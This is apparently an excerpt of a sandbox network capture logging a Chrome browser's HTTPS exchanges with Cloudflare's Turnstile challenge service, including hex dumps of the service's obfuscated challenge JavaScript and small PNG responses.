2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 3d 28 30 2c 65 76 61 6c 29 28 67 4c 28 32 36 30 29 29 2c 67 38 3d 61 74 6f 62 28 67 4c 28 31 37 34 38 29 29 2c 67 79 3d 66 75 6e 63 74 69 6f 6e 28 6a 74 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 6a 74 3d 67 4c 2c 64 3d 7b 27 4d 76 45 46 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 54 56 66 43 43 27 3a 6a 74 28 38 35 32 29 2c 27 4b 62 66 77 74 27 3a 6a 74 28 33 38 30 29 2c 27 53 6a 71 59 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 47 4b 41 66 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 51 52 51 49 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a Data Ascii: =(0,eval)(gL(260)),g8=atob(gL(1748)),gy=function(jt,d,e,f,g){return jt=gL,d={'MvEFt':function(h,i,j){return h(i,j)},'TVfCC':jt(852),'Kbfwt':jt(380),'SjqYi':function(h,i){return i===h},'GKAfM':function(h,i){return i==h},'QRQIf':function(h,i,j){return h(i,j
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 46 45 4a 5a 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 61 72 70 6d 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6d 46 5a 5a 4b 27 3a 6a 74 28 31 33 33 35 29 2c 27 61 56 45 55 49 27 3a 6a 74 28 31 36 38 33 29 2c 27 61 45 67 65 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 57 45 4f 44 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 57 4c 47 4b 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 6a 73 43 57 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 Data Ascii: :function(h,i){return h-i},'FEJZT':function(h,i){return h==i},'arpmM':function(h,i){return h-i},'mFZZK':jt(1335),'aVEUI':jt(1683),'aEgeB':function(h,i){return i&h},'WEODK':function(h,i){return h<i},'WLGKX':function(h,i){return h*i},'jsCWT':function(h,i){r
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 3d 69 5b 6a 79 28 39 39 38 29 5d 28 4b 29 2c 4f 62 6a 65 63 74 5b 6a 79 28 34 39 39 29 5d 5b 6a 79 28 32 36 36 29 5d 5b 6a 79 28 38 32 37 29 5d 28 42 2c 4c 29 7c 7c 28 42 5b 4c 5d 3d 46 2b 2b 2c 43 5b 4c 5d 3d 21 30 29 2c 4d 3d 64 5b 6a 79 28 38 37 38 29 5d 28 44 2c 4c 29 2c 4f 62 6a 65 63 74 5b 6a 79 28 34 39 39 29 5d 5b 6a 79 28 32 36 36 29 5d 5b 6a 79 28 38 32 37 29 5d 28 42 2c 4d 29 29 44 3d 4d 3b 65 6c 73 65 20 69 66 28 64 5b 6a 79 28 34 39 31 29 5d 28 6a 79 28 31 34 38 30 29 2c 6a 79 28 31 34 38 30 29 29 29 50 3d 64 5b 6a 79 28 31 36 33 39 29 5d 28 69 2c 64 5b 6a 79 28 31 33 37 39 29 5d 2c 64 5b 6a 79 28 37 30 35 29 5d 29 2c 51 3d 6a 5b 6a 79 28 31 37 30 36 29 5d 28 64 5b 6a 79 28 36 30 32 29 5d 29 2c 51 2e 69 64 3d 6a 79 28 38 31 35 29 2c 51 5b 6a Data Ascii: =i[jy(998)](K),Object[jy(499)][jy(266)][jy(827)](B,L)\|\|(B[L]=F++,C[L]=!0),M=d[jy(878)](D,L),Object[jy(499)][jy(266)][jy(827)](B,M))D=M;else if(d[jy(491)](jy(1480),jy(1480)))P=d[jy(1639)](i,d[jy(1379)],d[jy(705)]),Q=j[jy(1706)](d[jy(602)]),Q.id=jy(815),Q[j
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 6a 41 28 31 37 31 32 29 5d 3d 73 5b 6a 41 28 31 35 36 30 29 5d 28 6f 2c 73 5b 6a 41 28 31 33 33 37 29 5d 29 7d 29 2c 64 5b 6a 79 28 31 36 33 39 29 5d 28 4b 2c 6a 79 28 39 34 32 29 2c 66 75 6e 63 74 69 6f 6e 28 52 2c 6a 42 29 7b 6a 42 3d 6a 79 2c 52 5b 6a 42 28 31 37 31 32 29 5d 3d 6f 28 6a 42 28 31 30 37 39 29 29 7d 29 2c 4c 28 64 5b 6a 79 28 31 30 37 33 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 52 2c 6a 43 29 7b 6a 43 3d 6a 79 2c 52 5b 6a 43 28 31 37 31 32 29 5d 3d 6f 28 6a 43 28 34 33 30 29 29 7d 29 29 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 6a 79 28 34 39 39 29 5d 5b 6a 79 28 32 36 36 29 5d 5b 6a 79 28 38 32 37 29 5d 28 43 2c 44 29 29 7b 69 66 28 32 35 36 3e 44 5b 6a 79 28 31 36 30 39 29 5d 28 30 29 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c Data Ascii: jA(1712)]=s[jA(1560)](o,s[jA(1337)])}),d[jy(1639)](K,jy(942),function(R,jB){jB=jy,R[jB(1712)]=o(jB(1079))}),L(d[jy(1073)],function(R,jC){jC=jy,R[jC(1712)]=o(jC(430))}));else{if(Object[jy(499)][jy(266)][jy(827)](C,D)){if(256>D[jy(1609)](0)){for(x=0;x<G;I<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49738	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:53 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:54 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:53 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e59358eee1b0fa9-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:42:54 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49739	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:55 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:55 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:55 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e59359a3a7f3344-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:42:55 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49740	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:55 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e5935826bf00f3e&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:56 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:56 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 134561 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e59359c180418ea-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:42:56 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 48 50 55 62 6a 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.HPUbj2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 Data Ascii: k%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_timeout":"Timed%20out","turnstile_expir
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 67 4b 28 39 35 30 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 38 37 38 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 31 36 34 29 29 2f 38 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 31 31 38 36 29 29 2f 39 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 30 31 38 29 29 2f 31 30 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 38 33 30 29 29 2f 31 31 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 31 36 36 31 29 29 2f 31 32 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 36 39 32 33 38 32 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 36 38 38 29 5d 2c 65 4f 3d 5b 5d 2c 65 Data Ascii: gK(950))/6(parseInt(gK(878))/7)+parseInt(gK(1164))/8(parseInt(gK(1186))/9)+parseInt(gK(1018))/10+parseInt(gK(1830))/11*(parseInt(gK(1661))/12),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,692382),eM=this\|\|self,eN=eM[gL(688)],eO=[],e
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 29 29 7b 66 6f 72 28 54 3d 31 2c 55 3d 30 3b 56 3c 57 3b 59 3d 5a 3c 3c 31 7c 61 30 2c 61 31 3d 3d 6f 5b 68 69 28 31 32 35 39 29 5d 28 61 32 2c 31 29 3f 28 61 33 3d 30 2c 61 34 5b 68 69 28 38 35 39 29 5d 28 6f 5b 68 69 28 31 30 34 39 29 5d 28 61 35 2c 61 36 29 29 2c 61 37 3d 30 29 3a 61 38 2b 2b 2c 61 39 3d 30 2c 58 2b 2b 29 3b 66 6f 72 28 61 61 3d 61 62 5b 68 69 28 37 32 32 29 5d 28 30 29 2c 61 63 3d 30 3b 6f 5b 68 69 28 31 33 38 39 29 5d 28 31 36 2c 61 64 29 3b 61 66 3d 6f 5b 68 69 28 31 37 38 39 29 5d 28 61 67 3c 3c 31 2c 31 26 61 68 29 2c 61 69 3d 3d 6f 5b 68 69 28 31 32 35 39 29 5d 28 61 6a 2c 31 29 3f 28 61 6b 3d 30 2c 61 6c 5b 68 69 28 38 35 39 29 5d 28 61 6d 28 61 6e 29 29 2c 61 6f 3d 30 29 3a 61 70 2b 2b 2c 61 71 3e 3e 3d 31 2c 61 65 2b 2b 29 3b Data Ascii: )){for(T=1,U=0;V<W;Y=Z<<1\|a0,a1==o[hi(1259)](a2,1)?(a3=0,a4[hi(859)](o[hi(1049)](a5,a6)),a7=0):a8++,a9=0,X++);for(aa=ab[hi(722)](0),ac=0;o[hi(1389)](16,ad);af=o[hi(1789)](ag<<1,1&ah),ai==o[hi(1259)](aj,1)?(ak=0,al[hi(859)](am(an)),ao=0):ap++,aq>>=1,ae++);
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 3a 68 7a 28 31 32 31 37 29 2c 27 7a 65 61 4e 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 47 62 6e 43 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 73 6a 73 52 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 49 7a 62 4b 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 70 6b 46 63 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 44 49 4b 66 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 64 78 73 78 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 77 73 58 Data Ascii: :hz(1217),'zeaNb':function(h,i){return h>i},'GbnCf':function(h,i){return i==h},'sjsRJ':function(h,i){return h-i},'IzbKp':function(h,i){return h\|i},'pkFcg':function(h,i){return i==h},'DIKfn':function(h,i){return h<i},'dxsxb':function(h,i){return h(i)},'wsX
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 38 38 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 41 29 7b 72 65 74 75 72 6e 20 68 41 3d 62 2c 64 5b 68 41 28 31 30 33 38 29 5d 5b 68 41 28 36 34 37 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 68 42 2c 4f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 51 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 68 42 3d 68 7a 2c 64 5b 68 42 28 31 30 31 34 29 5d 28 68 42 28 31 38 34 39 29 2c 68 42 28 31 38 34 39 29 29 29 72 65 74 75 72 6e 20 4f 3d 69 7c 7c 6a 2c 21 4f 5b 4a 5d 3f 27 27 3a 64 5b 68 42 28 39 30 36 29 5d 28 6f 2c 4b 2c 4f 5b 44 5d 29 3b 65 6c 73 65 7b 69 66 28 64 5b 68 42 Data Ascii: 88)],f={'h':function(h){return null==h?'':f.g(h,6,function(i,hA){return hA=b,d[hA(1038)][hA(647)](i)})},'g':function(i,j,o,hB,O,s,x,B,C,D,E,F,G,H,I,J,Q,K,L,M){if(hB=hz,d[hB(1014)](hB(1849),hB(1849)))return O=i\|\|j,!O[J]?'':d[hB(906)](o,K,O[D]);else{if(d[hB
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 29 29 7b 69 66 28 32 35 36 3e 43 5b 68 42 28 37 32 32 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 64 5b 68 42 28 31 37 38 35 29 5d 28 49 2c 64 5b 68 42 28 31 37 37 39 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 42 28 38 35 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 68 42 28 37 32 32 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 68 42 28 31 33 37 31 29 5d 28 48 3c 3c 31 2c 64 5b 68 42 28 39 38 35 29 5d 28 4d 2c 31 29 29 2c 64 5b 68 42 28 31 30 32 38 29 5d 28 49 2c 64 5b 68 42 28 31 37 37 39 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 42 28 38 35 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 Data Ascii: )){if(256>C[hB(722)](0)){for(s=0;s<F;H<<=1,d[hB(1785)](I,d[hB(1779)](j,1))?(I=0,G[hB(859)](o(H)),H=0):I++,s++);for(M=C[hB(722)](0),s=0;8>s;H=d[hB(1371)](H<<1,d[hB(985)](M,1)),d[hB(1028)](I,d[hB(1779)](j,1))?(I=0,G[hB(859)](o(H)),H=0):I++,M>>=1,s++);}else
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 32 29 5d 28 6b 29 3b 65 6c 73 65 20 66 6f 72 28 6f 3d 6d 5b 68 44 28 38 35 30 29 5d 5b 68 44 28 31 39 38 30 29 5d 28 27 7c 27 29 2c 73 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6f 5b 73 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 4b 5b 68 44 28 31 31 35 30 29 5d 28 42 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 44 5b 68 44 28 35 39 34 29 5d 3d 68 44 28 31 33 37 35 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 78 3d 48 5b 68 44 28 32 30 31 32 29 5d 28 68 44 28 32 30 36 37 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 42 3d 47 5b 68 44 28 32 30 31 32 29 5d 28 6d 5b 68 44 28 37 33 35 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 78 5b 68 44 28 31 32 32 38 29 5d 3d 68 44 28 32 30 30 32 29 3b 63 6f 6e Data Ascii: 2)](k);else for(o=m[hD(850)][hD(1980)]('\|'),s=0;!![];){switch(o[s++]){case'0':K[hD(1150)](B);continue;case'1':D[hD(594)]=hD(1375);continue;case'2':x=H[hD(2012)](hD(2067));continue;case'3':B=G[hD(2012)](m[hD(735)]);continue;case'4':x[hD(1228)]=hD(2002);con
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 4f 2d 50 7d 2c 27 79 69 55 47 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 68 4a 29 7b 72 65 74 75 72 6e 20 68 4a 3d 62 2c 64 5b 68 4a 28 36 32 38 29 5d 28 4f 2c 50 29 7d 7d 2c 68 4b 28 31 36 37 32 29 3d 3d 3d 64 5b 68 4b 28 31 30 36 39 29 5d 29 7b 69 66 28 47 5b 68 4b 28 31 35 33 31 29 5d 29 72 65 74 75 72 6e 3b 48 5b 68 4b 28 31 35 33 31 29 5d 3d 21 21 5b 5d 7d 65 6c 73 65 7b 66 6f 72 28 78 3d 5b 5d 2c 42 3d 34 2c 43 3d 34 2c 44 3d 33 2c 45 3d 5b 5d 2c 48 3d 6f 28 30 29 2c 49 3d 6a 2c 4a 3d 31 2c 46 3d 30 3b 33 3e 46 3b 78 5b 46 5d 3d 46 2c 46 2b 3d 31 29 3b 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 68 4b 28 31 30 35 32 29 5d 28 32 2c 32 29 2c 47 3d 31 3b 64 5b 68 4b 28 31 35 36 37 29 5d 28 47 2c 4c 29 3b 4d 3d 64 5b 68 4b 28 Data Ascii: return O-P},'yiUGn':function(O,P,hJ){return hJ=b,d[hJ(628)](O,P)}},hK(1672)===d[hK(1069)]){if(G[hK(1531)])return;H[hK(1531)]=!![]}else{for(x=[],B=4,C=4,D=3,E=[],H=o(0),I=j,J=1,F=0;3>F;x[F]=F,F+=1);for(K=0,L=Math[hK(1052)](2,2),G=1;d[hK(1567)](G,L);M=d[hK(
2024-11-20 14:42:56 UTC	1369	IN	Data Raw: 4b 28 37 32 32 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 30 30 5d 5b 30 5d 2b 2b 29 2c 32 38 29 2c 32 35 36 29 26 32 35 35 2e 38 39 2c 52 26 26 28 51 5b 30 5d 3d 53 2c 51 5b 33 5d 3d 73 5b 68 4b 28 31 37 36 37 29 5d 28 54 2c 31 39 39 29 29 3b 65 6c 73 65 7b 69 66 28 4a 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 68 4b 28 31 30 35 32 29 5d 28 32 2c 44 29 2c 47 3d 31 3b 4c 21 3d 47 3b 4d 3d 64 5b 68 4b 28 39 39 36 29 5d 28 48 2c 49 29 2c 49 3e 3e 3d 31 2c 30 3d 3d 49 26 26 28 49 3d 6a 2c 48 3d 6f 28 4a 2b 2b 29 29 2c 4b 7c 3d 28 64 5b 68 4b 28 38 34 31 29 5d 28 30 2c 4d 29 3f 31 3a 30 29 2a 47 2c 47 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4e 3d 4b 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 Data Ascii: K(722)](this.h[this.g^100][0]++),28),256)&255.89,R&&(Q[0]=S,Q[3]=s[hK(1767)](T,199));else{if(J>i)return'';for(K=0,L=Math[hK(1052)](2,D),G=1;L!=G;M=d[hK(996)](H,I),I>>=1,0==I&&(I=j,H=o(J++)),K\|=(d[hK(841)](0,M)?1:0)*G,G<<=1);switch(N=K){case 0:for(K=0,L=Ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49742	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:55 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3426 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:55 UTC	3426	OUT	Data Raw: 76 5f 38 65 35 39 33 35 38 32 36 62 66 30 30 66 33 65 3d 73 57 68 77 31 77 7a 77 72 77 75 77 58 77 33 62 34 6a 62 34 31 63 55 31 55 4c 48 39 55 48 34 55 63 49 4c 45 57 6b 34 44 49 34 74 63 74 45 59 68 55 56 74 49 6f 78 7a 34 45 46 52 77 34 31 41 71 50 34 59 2d 6b 55 42 34 75 63 48 4c 4f 78 35 34 48 50 34 70 6b 55 44 7a 74 34 63 72 4c 34 38 77 55 75 54 24 30 58 65 75 56 34 73 77 34 4c 64 46 67 34 72 64 34 78 6b 48 42 55 41 78 77 54 44 66 37 77 46 30 41 4c 51 34 72 47 34 34 41 6f 75 77 75 35 34 6b 49 34 55 6c 57 32 4c 63 75 57 77 7a 44 55 77 67 7a 57 2d 46 53 73 77 72 37 4d 6b 55 4d 41 6a 46 69 34 75 50 25 32 62 32 77 48 38 34 6a 68 34 53 77 55 46 75 77 72 44 44 34 55 72 56 38 52 37 34 73 68 5a 34 50 4d 4d 34 55 32 5a 51 31 53 34 77 51 36 72 71 58 4d 6e 34 Data Ascii: 